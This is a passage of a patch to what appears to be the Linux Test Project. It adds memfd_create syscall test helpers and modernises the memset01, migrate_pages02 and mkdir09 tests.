+	if (TEST_ERRNO != tc->memfd_create_exp_err)
+		tst_brk(TFAIL, "test '%s'", tc->descr);
+	else
+		tst_res(TPASS, "test '%s'", tc->descr);
+
+	if (TEST_RETURN > 0)
+		SAFE_CLOSE(TEST_RETURN);
+}
+
+static struct tst_test test = {
+	.tid = "memfd_create02",
+	.test = verify_memfd_create_errno,
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/memfd_create/memfd_create_common.c b/testcases/kernel/syscalls/memfd_create/memfd_create_common.c
new file mode 100644
index 0000000..4cf3bd5
--- /dev/null
+++ b/testcases/kernel/syscalls/memfd_create/memfd_create_common.c
@@ -0,0 +1,461 @@
+/*
+ * Copyright (C) 2017  Red Hat, Inc.
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ */
+
+#define _GNU_SOURCE
+
+#include <sys/types.h>
+#include <sys/syscall.h>
+#include <sys/uio.h>
+#include <errno.h>
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+#include "lapi/fallocate.h"
+#include "lapi/fcntl.h"
+#include "lapi/memfd.h"
+
+#include "linux_syscall_numbers.h"
+
+#include "memfd_create_common.h"
+
+int sys_memfd_create(const char *name, unsigned int flags)
+{
+	return tst_syscall(__NR_memfd_create, name, flags);
+}
+
+int check_fallocate(const char *filename, const int lineno, int fd,
+			int mode, off_t offset, off_t len)
+{
+	int r;
+
+	r = fallocate(fd, mode, offset, len);
+	if (r < 0) {
+		tst_brk_(filename, lineno, TFAIL | TERRNO,
+			"fallocate(%d, %d, %ld, %ld) failed", fd, mode,
+			offset, len);
+	}
+
+	tst_res_(filename, lineno, TPASS,
+		"fallocate(%d, %d, %ld, %ld) succeeded", fd, mode,
+		offset, len);
+
+	return r;
+}
+
+int check_fallocate_fail(const char *filename, const int lineno, int fd,
+				int mode, off_t offset, off_t len)
+{
+	int r;
+
+	r = fallocate(fd, mode, offset, len);
+	if (r >= 0) {
+		tst_res_(filename, lineno, TFAIL,
+			"fallocate(%d, %d, %ld, %ld) succeeded unexpectedly",
+			fd, mode, offset, len);
+
+		return r;
+	}
+
+	tst_res_(filename, lineno, TPASS | TERRNO,
+		"fallocate(%d, %d, %ld, %ld) failed as expected", fd,
+		mode, offset, len);
+
+	return r;
+}
+
+void check_ftruncate(const char *filename, const int lineno, int fd,
+			off_t length)
+{
+	safe_ftruncate(filename, lineno, fd, length);
+
+	tst_res_(filename, lineno, TPASS, "ftruncate(%d, %ld) succeeded", fd,
+		length);
+}
+
+void check_ftruncate_fail(const char *filename, const int lineno,
+				int fd, off_t length)
+{
+	if (ftruncate(fd, length) >= 0) {
+		tst_res_(filename, lineno, TFAIL,
+			"ftruncate(%d, %ld) succeeded unexpectedly",
+			fd, length);
+
+		return;
+	}
+
+	tst_res_(filename, lineno, TPASS | TERRNO,
+		"ftruncate(%d, %ld) failed as expected", fd, length);
+}
+
+void assert_have_memfd_create(const char *filename, const int lineno)
+{
+	TEST(sys_memfd_create("dummy_call", 0));
+	if (TEST_RETURN < 0) {
+		if (TEST_ERRNO == EINVAL) {
+			tst_brk_(filename, lineno, TCONF | TTERRNO,
+				"memfd_create() not implemented");
+		}
+
+		tst_brk_(filename, lineno, TBROK | TTERRNO,
+			"memfd_create() failed");
+	}
+
+	SAFE_CLOSE(TEST_RETURN);
+}
+
+int check_mfd_new(const char *filename, const int lineno,
+			const char *name, loff_t sz, int flags)
+{
+	int fd;
+
+	fd = sys_memfd_create(name, flags);
+	if (fd < 0) {
+		tst_brk_(filename, lineno, TBROK | TERRNO,
+			"memfd_create(%s, %d) failed", name, flags);
+	}
+
+	tst_res_(filename, lineno, TPASS, "memfd_create(%s, %d) succeeded",
+		name, flags);
+
+	check_ftruncate(filename, lineno, fd, sz);
+
+	return fd;
+}
+
+void check_mfd_fail_new(const char *filename, const int lineno,
+			const char *name, int flags)
+{
+	int fd;
+
+	fd = sys_memfd_create(name, flags);
+	if (fd >= 0) {
+		safe_close(filename, lineno, NULL, fd);
+		tst_brk_(filename, lineno, TFAIL,
+			 "memfd_create(%s, %d) succeeded unexpectedly",
+			name, flags);
+	}
+
+	tst_res_(filename, lineno, TPASS | TERRNO,
+		"memfd_create(%s, %d) failed as expected", name, flags);
+}
+
+void *check_mmap(const char *file, const int lineno, void *addr, size_t length,
+		int prot, int flags, int fd, off_t offset)
+{
+	void *p;
+
+	p = safe_mmap(file, lineno, addr, length, prot, flags, fd, offset);
+
+	tst_res_(file, lineno, TPASS,
+		"mmap(%p, %zu, %i, %i, %i, %zi) succeeded", addr,
+		length, prot, flags, fd, offset);
+
+	return p;
+}
+
+void check_mmap_fail(const char *file, const int lineno, void *addr,
+		size_t length, int prot, int flags, int fd, off_t offset)
+{
+	if (mmap(addr, length, prot, flags, fd, offset) != MAP_FAILED) {
+		safe_munmap(file, lineno, NULL, addr, length);
+		tst_res_(file, lineno, TFAIL,
+			"mmap(%p, %zu, %i, %i, %i, %zi) succeeded unexpectedly",
+			addr, length, prot, flags, fd, offset);
+
+		return;
+	}
+
+	tst_res_(file, lineno, TPASS | TERRNO,
+		"mmap(%p, %zu, %i, %i, %i, %zi) failed as expected",
+		addr, length, prot, flags, fd, offset);
+}
+
+void check_munmap(const char *file, const int lineno, void *p, size_t length)
+{
+	safe_munmap(file, lineno, NULL, p, length);
+
+	tst_res_(file, lineno, TPASS, "munmap(%p, %ld) succeeded", p, length);
+}
+
+void check_mfd_has_seals(const char *file, const int lineno, int fd, int seals)
+{
+	int ret = SAFE_FCNTL((fd), F_GET_SEALS);
+	if (ret	!= seals) {
+		tst_brk_(file, lineno, TFAIL,
+			"fd %d doesn't have expected seals (%d expected %d)",
+			fd, ret, seals);
+	}
+
+	tst_res_(file, lineno, TPASS,
+		 "fd %d has expected seals (%d)", fd, seals);
+}
+
+void check_mprotect(const char *file, const int lineno, void *addr,
+		size_t length, int prot)
+{
+	if (mprotect(addr, length, prot) < 0) {
+		tst_brk_(file, lineno, TFAIL | TERRNO,
+			"mprotect(%p, %ld, %d) failed", addr, length, prot);
+	}
+
+	tst_res_(file, lineno, TPASS, "mprotect(%p, %ld, %d) succeeded", addr,
+		length, prot);
+}
+
+void check_mfd_fail_add_seals(const char *filename, const int lineno,
+				int fd, int seals)
+{
+	if (fcntl(fd, F_ADD_SEALS, seals) >= 0) {
+		tst_brk_(filename, lineno, TFAIL,
+			"fcntl(%d, F_ADD_SEALS) succeeded unexpectedly", fd);
+	}
+
+	tst_res_(filename, lineno, TPASS | TERRNO,
+		"fcntl(%d, F_ADD_SEALS, %d) failed as expected", (fd),
+		(seals));
+}
+
+void check_mfd_size(const char *filename, const int lineno, int fd,
+			size_t size)
+{
+	struct stat st;
+
+	safe_fstat(filename, lineno, fd, &st);
+
+	if (st.st_size != (long)size) {
+		tst_brk_(filename, lineno, TFAIL,
+			"fstat(%d, &st): unexpected file size", fd);
+	}
+
+	tst_res_(filename, lineno, TPASS,
+		"fstat(%d, &st): file size is correct", fd);
+}
+
+int check_mfd_open(const char *filename, const int lineno, int fd,
+			int flags, mode_t mode)
+{
+	int r;
+	char buf[512];
+
+	sprintf(buf, "/proc/self/fd/%d", fd);
+
+	r = safe_open(filename, lineno, NULL, buf, flags, mode);
+
+	tst_res_(filename, lineno, TPASS, "open(%s, %d, %d) succeeded", buf,
+		flags, mode);
+
+	return r;
+}
+
+void check_mfd_fail_open(const char *filename, const int lineno, int fd,
+				int flags, mode_t mode)
+{
+	char buf[512];
+
+	sprintf(buf, "/proc/self/fd/%d", fd);
+
+	fd = open(buf, flags, mode);
+	if (fd > 0) {
+		safe_close(filename, lineno, NULL, fd);
+		tst_res_(filename, lineno, TFAIL,
+			"open(%s, %d, %d) succeeded unexpectedly", buf,
+			flags, mode);
+	} else {
+		tst_res_(filename, lineno, TPASS | TERRNO,
+			"open(%s, %d, %d) failed as expected", buf,
+			flags, mode);
+	}
+}
+
+void check_mfd_readable(const char *filename, const int lineno, int fd)
+{
+	char buf[16];
+	void *p;
+
+	safe_read(filename, lineno, NULL, 1, fd, buf, sizeof(buf));
+	tst_res_(filename, lineno, TPASS, "read(%d, %s, %ld) succeeded", fd,
+		buf, sizeof(buf));
+
+	/* verify PROT_READ *is* allowed */
+	p = check_mmap(filename, lineno, NULL, MFD_DEF_SIZE, PROT_READ,
+			MAP_PRIVATE, fd, 0);
+
+	check_munmap(filename, lineno, p, MFD_DEF_SIZE);
+
+	/* verify MAP_PRIVATE is *always* allowed (even writable) */
+	p = check_mmap(filename, lineno, NULL, MFD_DEF_SIZE,
+			PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
+
+	check_munmap(filename, lineno, p, MFD_DEF_SIZE);
+}
+
+void check_mfd_writeable(const char *filename, const int lineno, int fd)
+{
+	void *p;
+
+	/* verify write() succeeds */
+	safe_write(filename, lineno, NULL, 1, fd, "\0\0\0\0", 4);
+	tst_res_(filename, lineno, TPASS, "write(%d, %s, %d) succeeded", fd,
+		"\\0\\0\\0\\0", 4);
+
+	/* verify PROT_READ | PROT_WRITE is allowed */
+	p = check_mmap(filename, lineno, NULL, MFD_DEF_SIZE,
+			PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
+
+	*(char *)p = 0;
+	check_munmap(filename, lineno, p, MFD_DEF_SIZE);
+
+	/* verify PROT_WRITE is allowed */
+	p = check_mmap(filename, lineno, NULL, MFD_DEF_SIZE,
+			PROT_WRITE, MAP_SHARED, fd, 0);
+
+	*(char *)p = 0;
+	check_munmap(filename, lineno, p, MFD_DEF_SIZE);
+
+	/* verify PROT_READ with MAP_SHARED is allowed and a following
+	 * mprotect(PROT_WRITE) allows writing
+	 */
+	p = check_mmap(filename, lineno, NULL, MFD_DEF_SIZE,
+			PROT_READ, MAP_SHARED, fd, 0);
+
+	check_mprotect(filename, lineno, p, MFD_DEF_SIZE,
+			PROT_READ | PROT_WRITE);
+
+	*(char *)p = 0;
+	check_munmap(filename, lineno, p, MFD_DEF_SIZE);
+
+	/* verify PUNCH_HOLE works */
+	check_fallocate(filename, lineno, fd,
+			FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0,
+			MFD_DEF_SIZE);
+}
+
+void check_mfd_non_writeable(const char *filename, const int lineno,
+				int fd)
+{
+	void *p;
+
+	/* verify write() fails */
+	TEST(write(fd, "data", 4));
+	if (TEST_RETURN < 0) {
+		if (TEST_ERRNO != EPERM) {
+			tst_brk_(filename, lineno, TFAIL | TTERRNO,
+				"write() didn't fail as expected");
+		}
+	} else {
+		tst_brk_(filename, lineno, TFAIL,
+			"write() succeeded unexpectedly");
+	}
+	tst_res_(filename, lineno, TPASS | TTERRNO, "write failed as expected");
+
+	/* verify PROT_READ | PROT_WRITE is not allowed */
+	check_mmap_fail(filename, lineno, NULL, MFD_DEF_SIZE,
+			PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
+
+	/* verify PROT_WRITE is not allowed */
+	check_mmap_fail(filename, lineno, NULL, MFD_DEF_SIZE,
+			PROT_WRITE, MAP_SHARED, fd, 0);
+
+	/* Verify PROT_READ with MAP_SHARED with a following mprotect is not
+	 * allowed. Note that for r/w the kernel already prevents the mmap.
+	 */
+	p = mmap(NULL, MFD_DEF_SIZE, PROT_READ, MAP_SHARED, fd, 0);
+	if (p != MAP_FAILED) {
+		if (mprotect(p, MFD_DEF_SIZE, PROT_READ | PROT_WRITE) >= 0) {
+			tst_brk_(filename, lineno, TFAIL | TERRNO,
+				"mmap()+mprotect() succeeded unexpectedly");
+		}
+	}
+
+	/* verify PUNCH_HOLE fails */
+	check_fallocate_fail(filename, lineno, fd,
+			FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0,
+			MFD_DEF_SIZE);
+}
+
+void check_mfd_shrinkable(const char *filename, const int lineno, int fd)
+{
+	int fd2;
+
+	check_ftruncate(filename, lineno, fd, MFD_DEF_SIZE / 2);
+	check_mfd_size(filename, lineno, fd, MFD_DEF_SIZE / 2);
+
+	fd2 = check_mfd_open(filename, lineno, fd,
+			O_RDWR | O_CREAT | O_TRUNC, 0600);
+	safe_close(filename, lineno, NULL, fd2);
+
+	check_mfd_size(filename, lineno, fd, 0);
+}
+
+void check_mfd_non_shrinkable(const char *filename, const int lineno, int fd)
+{
+	check_ftruncate_fail(filename, lineno, fd,  MFD_DEF_SIZE / 2);
+	check_mfd_fail_open(filename, lineno, fd,
+			O_RDWR | O_CREAT | O_TRUNC, 0600);
+}
+
+void check_mfd_growable(const char *filename, const int lineno, int fd)
+{
+	check_ftruncate(filename, lineno, fd, MFD_DEF_SIZE * 2);
+	check_mfd_size(filename, lineno, fd, MFD_DEF_SIZE * 2);
+
+	check_fallocate(filename, lineno, fd, 0, 0, MFD_DEF_SIZE * 4);
+	check_mfd_size(filename, lineno, fd, MFD_DEF_SIZE * 4);
+}
+
+void check_mfd_non_growable(const char *filename, const int lineno, int fd)
+{
+	check_ftruncate_fail(filename, lineno, fd, MFD_DEF_SIZE * 2);
+	check_fallocate_fail(filename, lineno, fd, 0, 0, MFD_DEF_SIZE * 4);
+}
+
+void check_mfd_growable_by_write(const char *filename, const int lineno, int fd)
+{
+	char buf[MFD_DEF_SIZE * 8];
+
+	if (pwrite(fd, buf, sizeof(buf), 0) != sizeof(buf)) {
+		tst_res_(filename, lineno, TFAIL | TERRNO,
+			"pwrite(%d, %s, %ld, %d) failed",
+			fd, buf, sizeof(buf), 0);
+
+		return;
+	}
+
+	tst_res_(filename, lineno, TPASS, "pwrite(%d, %s, %ld, %d) succeeded",
+		fd, buf, sizeof(buf), 0);
+
+	check_mfd_size(filename, lineno, fd, MFD_DEF_SIZE * 8);
+}
+
+void check_mfd_non_growable_by_write(const char *filename, const int lineno,
+					int fd)
+{
+	char buf[MFD_DEF_SIZE * 8];
+
+	if (pwrite(fd, buf, sizeof(buf), 0) == sizeof(buf)) {
+		tst_res_(filename, lineno, TFAIL,
+			"pwrite(%d, %s, %ld, %d) didn't fail as expected",
+			fd, buf, sizeof(buf), 0);
+
+		return;
+	}
+
+	tst_res_(filename, lineno, TPASS, "pwrite(%d, %s, %ld, %d) succeeded",
+		fd, buf, sizeof(buf), 0);
+}
diff --git a/testcases/kernel/syscalls/memfd_create/memfd_create_common.h b/testcases/kernel/syscalls/memfd_create/memfd_create_common.h
new file mode 100644
index 0000000..6329ac3
--- /dev/null
+++ b/testcases/kernel/syscalls/memfd_create/memfd_create_common.h
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2017  Red Hat, Inc.
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ */
+
+#ifndef MEMFD_TEST_COMMON
+#define MEMFD_TEST_COMMON
+
+#include <sys/types.h>
+#include <lapi/fcntl.h>
+#include <lapi/memfd.h>
+
+#define MFD_DEF_SIZE 8192
+
+#define ASSERT_HAVE_MEMFD_CREATE() \
+	assert_have_memfd_create(__FILE__, __LINE__)
+
+#define CHECK_MFD_NEW(name, sz, flags) \
+	check_mfd_new(__FILE__, __LINE__, (name), (sz), (flags))
+
+#define CHECK_MFD_FAIL_NEW(name, flags) \
+	check_mfd_fail_new(__FILE__, __LINE__, (name), (flags))
+
+#define CHECK_MMAP(addr, length, prot, flags, fd, offset) \
+	check_mmap(__FILE__, __LINE__, (addr), (length), (prot), \
+			(flags), (fd), (offset))
+
+#define CHECK_MMAP_FAIL(addr, length, prot, flags, fd, offset) \
+	check_mmap_fail(__FILE__, __LINE__, (addr), (length), (prot), \
+			(flags), (fd), (offset))
+
+#define CHECK_MUNMAP(p, length) \
+	check_munmap(__FILE__, __LINE__, (p), (length))
+
+#define CHECK_MFD_HAS_SEALS(fd, seals) \
+	check_mfd_has_seals(__FILE__, __LINE__, (fd), (seals));
+
+#define CHECK_MFD_ADD_SEALS(fd, seals) \
+	({int r = SAFE_FCNTL((fd), F_ADD_SEALS, (seals)); \
+	tst_res(TPASS, "fcntl(%d, F_ADD_SEALS, %d) succeeded", \
+		(fd), (seals)); r; })
+
+#define CHECK_MFD_FAIL_ADD_SEALS(fd, seals) \
+	check_mfd_fail_add_seals(__FILE__, __LINE__, (fd), (seals))
+
+#define CHECK_MFD_SIZE(fd, size) \
+	check_mfd_size(__FILE__, __LINE__, (fd), (size))
+
+#define CHECK_MFD_OPEN(fd, flags, mode) \
+	check_mfd_open(__FILE__, __LINE__, (fd), (flags), (mode))
+
+#define CHECK_MFD_FAIL_OPEN(fd, flags, mode) \
+	check_mfd_fail_open(__FILE__, __LINE__, (fd), (flags), (mode))
+
+#define CHECK_MFD_READABLE(fd) \
+	check_mfd_readable(__FILE__, __LINE__, (fd))
+
+#define CHECK_MFD_WRITEABLE(fd) \
+	check_mfd_writeable(__FILE__, __LINE__, (fd))
+
+#define CHECK_MFD_NON_WRITEABLE(fd) \
+	check_mfd_non_writeable(__FILE__, __LINE__, (fd))
+
+#define CHECK_MFD_SHRINKABLE(fd) \
+	check_mfd_shrinkable(__FILE__, __LINE__, (fd))
+
+#define CHECK_MFD_NON_SHRINKABLE(fd) \
+	check_mfd_non_shrinkable(__FILE__, __LINE__, (fd))
+
+#define CHECK_MFD_GROWABLE(fd) \
+	check_mfd_growable(__FILE__, __LINE__, (fd))
+
+#define CHECK_MFD_NON_GROWABLE(fd) \
+	check_mfd_non_growable(__FILE__, __LINE__, (fd))
+
+#define CHECK_MFD_GROWABLE_BY_WRITE(fd) \
+	check_mfd_growable_by_write(__FILE__, __LINE__, (fd))
+
+#define CHECK_MFD_NON_GROWABLE_BY_WRITE(fd) \
+	check_mfd_non_growable_by_write(__FILE__, __LINE__, (fd))
+
+void assert_have_memfd_create(const char *filename, const int lineno);
+int sys_memfd_create(const char *name, unsigned int flags);
+
+int check_fallocate(const char *filename, const int lineno, int fd,
+			int mode, off_t offset, off_t len);
+int check_fallocate_fail(const char *filename, const int lineno, int fd,
+			int mode, off_t offset, off_t len);
+void check_ftruncate(const char *filename, const int lineno, int fd,
+			off_t length);
+void check_ftruncate_fail(const char *filename, const int lineno, int fd,
+			off_t length);
+
+int check_mfd_new(const char *filename, const int lineno,
+			const char *name, loff_t sz, int flags);
+void check_mfd_fail_new(const char *filename, const int lineno,
+			const char *name, int flags);
+
+void *check_mmap(const char *file, const int lineno, void *addr, size_t length,
+		int prot, int flags, int fd, off_t offset);
+void check_mmap_fail(const char *file, const int lineno, void *addr,
+		size_t length, int prot, int flags, int fd, off_t offset);
+
+void check_munmap(const char *file, const int lineno, void *p, size_t length);
+
+void check_mfd_has_seals(const char *file, const int lineno, int fd, int seals);
+
+void check_mprotect(const char *file, const int lineno, void *addr,
+		size_t length, int prot);
+
+void check_mfd_fail_add_seals(const char *filename, const int lineno, int fd,
+			int seals);
+
+void check_mfd_size(const char *filename, const int lineno, int fd,
+		size_t size);
+
+int check_mfd_open(const char *filename, const int lineno, int fd,
+			int flags, mode_t mode);
+void check_mfd_fail_open(const char *filename, const int lineno, int fd,
+			int flags, mode_t mode);
+
+void check_mfd_readable(const char *filename, const int lineno, int fd);
+
+void check_mfd_writeable(const char *filename, const int lineno, int fd);
+void check_mfd_non_writeable(const char *filename, const int lineno, int fd);
+
+void check_mfd_shrinkable(const char *filename, const int lineno, int fd);
+void check_mfd_non_shrinkable(const char *filename, const int lineno, int fd);
+
+void check_mfd_growable(const char *filename, const int lineno, int fd);
+void check_mfd_non_growable(const char *filename, const int lineno, int fd);
+
+void check_mfd_growable_by_write(const char *filename, const int lineno,
+				int fd);
+void check_mfd_non_growable_by_write(const char *filename, const int lineno,
+				int fd);
+
+#endif
diff --git a/testcases/kernel/syscalls/memset/memset01.c b/testcases/kernel/syscalls/memset/memset01.c
index 5bb2496..1a0ccd0 100644
--- a/testcases/kernel/syscalls/memset/memset01.c
+++ b/testcases/kernel/syscalls/memset/memset01.c
@@ -39,12 +39,10 @@
 #include <stdlib.h>
 #include <errno.h>
 
-/*****	LTP Port *****/
 #include "test.h"
 
 char *TCID = "memset01";
 
-/*****	**	**	*****/
 #undef BSIZE
 #define BSIZE	4096
 #define LEN	100
@@ -53,26 +51,20 @@
 
 char buf[BSIZE];
 
-/*****	LTP Port	*****/
 int local_flag = PASSED;
 int block_number;
 int TST_TOTAL = 1;
 
-int anyfail();
-void setup();
-int blenter();
-/*****	**	**	*****/
-
-void fill();
+void fill(void);
 int checkit(char *str);
 
-/*--------------------------------------------------------------*/
 int main(int argc, char *argv[])
 {
 	register int i, j;
 	char *p;
 
-/*--------------------------------------------------------------*/
+	tst_parse_opts(argc, argv, NULL, NULL);
+
 	local_flag = PASSED;
 
 	fill();
@@ -99,18 +91,12 @@
 	(local_flag == FAILED) ? tst_resm(TFAIL,
 					  "Test failed") : tst_resm(TPASS,
 								    "Test passed");
-/*--------------------------------------------------------------*/
-/* Clean up any files created by test before call to anyfail.	*/
-
 	(local_flag == FAILED) ? tst_resm(TFAIL,
 					  "Test failed") : tst_resm(TPASS,
 								    "Test passed");
 	tst_exit();
 }
 
-/*--------------------------------------------------------------*/
-/* FUNCTIONS GO HERE */
-
 void fill(void)
 {
 	register int i;
diff --git a/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c b/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c
index 5be31d0..2caa4e7 100644
--- a/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c
+++ b/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c
@@ -126,7 +126,7 @@
 			tst_resm(TFAIL | TERRNO, "migrate_pages failed "
 				 "ret: %ld, ", TEST_RETURN);
 		else
-			tst_resm(TWARN, "migrate_pages could not migrate all "
+			tst_resm(TINFO, "migrate_pages could not migrate all "
 				 "pages, not migrated: %ld", TEST_RETURN);
 		print_mem_stats(pid, node);
 	}
diff --git a/testcases/kernel/syscalls/mkdir/mkdir09.c b/testcases/kernel/syscalls/mkdir/mkdir09.c
index 41c20e9..88034d2 100644
--- a/testcases/kernel/syscalls/mkdir/mkdir09.c
+++ b/testcases/kernel/syscalls/mkdir/mkdir09.c
@@ -21,11 +21,7 @@
 /* 10/30/2002	Port to LTP	dbarrera@us.ibm.com */
 
 /*
- * NAME
- *	mkdir.c - Stress test of mkdir call.
- *
- * CALLS
- *	mkdir, rmdir
+ * Stress test of mkdir call.
  *
  * ALGORITHM
  *	Create multiple processes which create subdirectories in the
@@ -37,12 +33,10 @@
  *              -t = number of seconds to run test
  *              -d = number of directories created in test directory
  *
- * RESTRICTIONS
- *
  */
 
-#include <stdio.h>		/* needed by testhead.h         */
-#include <wait.h>		/* needed by testhead.h         */
+#include <stdio.h>
+#include <sys/wait.h>
 #include <sys/types.h>
 #include <sys/param.h>
 #include <sys/stat.h>
@@ -62,16 +56,9 @@
 #define MODE_RWX	07770
 #define DIR_NAME	"./X.%d"
 
-/* used by getopt */
-extern char *optarg;
-extern int optind, opterr;
-char *goodopts = "c:t:d:";
-int errflg;
-
 char *TCID = "mkdir09";
 int TST_TOTAL = 1;
 
-int child_groups, test_time, nfiles;
 char testdir[MAXPATHLEN];
 int parent_pid, sigchld, sigterm, jump;
 void term(int sig);
@@ -88,88 +75,60 @@
 void setup(void);
 void cleanup(void);
 
-#ifdef UCLINUX
-static char *argv0;
-void dochild1_uclinux(void);
-void dochild2_uclinux(void);
-void dochild3_uclinux(void);
-static int group_uclinux;
-#endif
+static int child_groups = 2;
+static int test_time = 5;
+static int nfiles = 5;
 
-/*--------------------------------------------------------------*/
-/*--------------------------------------------------------------*/
-/*--------------------------------------------------------------*/
+static char *opt_child_groups;
+static char *opt_test_time;
+static char *opt_nfiles;
+
+static option_t options[] = {
+	{"c:", NULL, &opt_child_groups},
+	{"t:", NULL, &opt_test_time},
+	{"d:", NULL, &opt_nfiles},
+	{NULL, NULL, NULL}
+};
+
+static void usage(void)
+{
+	printf("  -c      Child groups\n");
+	printf("  -t      Test runtime\n");
+	printf("  -d      Directories\n");
+}
+
 int main(int argc, char *argv[])
 {
-	int c;
+	tst_parse_opts(argc, argv, options, usage);
 
-#ifdef UCLINUX
+	if (opt_child_groups)
+		child_groups = atoi(opt_child_groups);
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	if (opt_test_time)
+		test_time = atoi(opt_test_time);
 
-	argv0 = argv[0];
-	maybe_run_child(&dochild1_uclinux, "nd", 1, &nfiles);
-	maybe_run_child(&dochild2_uclinux, "n", 2);
-	maybe_run_child(&dochild3_uclinux, "nd", 3, &group_uclinux);
-#endif
+	if (opt_nfiles)
+		nfiles = atoi(opt_nfiles);
 
 	setup();
 
-	/* Set up to catch SIGTERM signal */
 	if (signal(SIGTERM, term) == SIG_ERR) {
 		tst_brkm(TFAIL, cleanup,
 			 "Error setting up SIGTERM signal, ERRNO = %d", errno);
 
 	}
 
-	/* Set up to catch SIGCLD signal */
-	if (signal(SIGCLD, chld) == SIG_ERR) {
+	if (signal(SIGCHLD, chld) == SIG_ERR) {
 		tst_brkm(TFAIL, cleanup,
-			 "Error setting up SIGCLD signal, ERRNO = %d", errno);
-
-	}
-
-	/* Default argument settings. */
-
-	child_groups = 2;
-	test_time = 5;		/* 0 = run forever or till signal */
-	nfiles = 5;
-
-	/* Get command line options */
-
-	while ((c = getopt(argc, argv, goodopts)) != EOF) {
-		switch (c) {
-		case 'c':
-			child_groups = atoi(optarg);
-			break;
-		case 't':
-			test_time = atoi(optarg);
-			break;
-		case 'd':
-			nfiles = atoi(optarg);
-			break;
-		case '?':
-			errflg++;
-			break;
-		default:
-			break;
-		}
-	}
-	if (errflg) {
-		tst_resm(TINFO,
-			 "USAGE : mkdir09 -c #child_groups -t#test_time -d#directories");
-		tst_resm(TINFO, "Bad argument count.");
+			 "Error setting up SIGCHLD signal, ERRNO = %d", errno);
 
 	}
 
 	runtest();
 	cleanup();
 	tst_exit();
-
 }
 
-/*--------------------------------------------------------------*/
-
 int runtest(void)
 {
 	int i, j;
@@ -236,9 +195,9 @@
 		tst_brkm(TFAIL, cleanup,
 			 "Error resetting SIGTERM signal, ERRNO = %d", errno);
 	}
-	if (signal(SIGCLD, SIG_DFL) == SIG_ERR) {
+	if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) {
 		tst_brkm(TFAIL, cleanup,
-			 "Error resetting SIGCLD signal, ERRNO = %d", errno);
+			 "Error resetting SIGCHLD signal, ERRNO = %d", errno);
 	}
 
 	if (test_time) {
@@ -316,34 +275,13 @@
 	} else if (pid == 0) {	/* child does this */
 		switch (children % NCHILD) {
 		case 0:
-#ifdef UCLINUX
-			if (self_exec(argv0, "nd", 1, nfiles) < 0) {
-				massmurder();
-				tst_brkm(TBROK, cleanup, "\tself_exec failed");
-			}
-#else
 			dochild1();	/* create existing directories */
-#endif
 			break;	/* so lint won't complain */
 		case 1:
-#ifdef UCLINUX
-			if (self_exec(argv0, "n", 2) < 0) {
-				massmurder();
-				tst_brkm(TBROK, cleanup, "\tself_exec failed");
-			}
-#else
 			dochild2();	/* remove nonexistant directories */
-#endif
 			break;
 		case 2:
-#ifdef UCLINUX
-			if (self_exec(argv0, "nd", 3, group) < 0) {
-				massmurder();
-				tst_brkm(TBROK, cleanup, "\tself_exec failed");
-			}
-#else
 			dochild3(group);	/* create/delete directories */
-#endif
 			break;
 		default:
 			tst_brkm(TFAIL, cleanup,
@@ -372,7 +310,7 @@
 
 void chld(int sig)
 {
-	/* Routine to handle SIGCLD signal. */
+	/* Routine to handle SIGCHLD signal. */
 
 	sigchld++;
 	if (jump) {
@@ -415,19 +353,6 @@
 	exit(0);
 }
 
-#ifdef UCLINUX
-void dochild1_uclinux(void)
-{
-	/* Set up to catch SIGTERM signal */
-	if (signal(SIGTERM, term) == SIG_ERR) {
-		tst_brkm(TFAIL, cleanup,
-			 "Error setting up SIGTERM signal, ERRNO = %d", errno);
-	}
-
-	dochild1();
-}
-#endif
-
 int dochild2(void)
 {
 	/* Child routine which attempts to remove directories from the
@@ -462,19 +387,6 @@
 	return 0;
 }
 
-#ifdef UCLINUX
-void dochild2_uclinux(void)
-{
-	/* Set up to catch SIGTERM signal */
-	if (signal(SIGTERM, term) == SIG_ERR) {
-		tst_brkm(TFAIL, cleanup,
-			 "Error setting up SIGTERM signal, ERRNO = %d", errno);
-	}
-
-	dochild2();
-}
-#endif
-
 int dochild3(int group)
 {
 	/* Child routine which creates and deletes directories in the
@@ -518,19 +430,6 @@
 	exit(0);
 }
 
-#ifdef UCLINUX
-void dochild3_uclinux(void)
-{
-	/* Set up to catch SIGTERM signal */
-	if (signal(SIGTERM, term) == SIG_ERR) {
-		tst_brkm(TFAIL, cleanup,
-			 "Error setting up SIGTERM signal, ERRNO = %d", errno);
-	}
-
-	dochild3(group_uclinux);
-}
-#endif
-
 int massmurder(void)
 {
 	register int j;
@@ -546,35 +445,16 @@
 	return 0;
 }
 
-/***************************************************************
- *  * setup() - performs all ONE TIME setup for this test.
- *   ***************************************************************/
 void setup(void)
 {
-
 	tst_sig(NOFORK, DEF_HANDLER, cleanup);
 
 	TEST_PAUSE;
 
-	/* Create a temporary directory and make it current. */
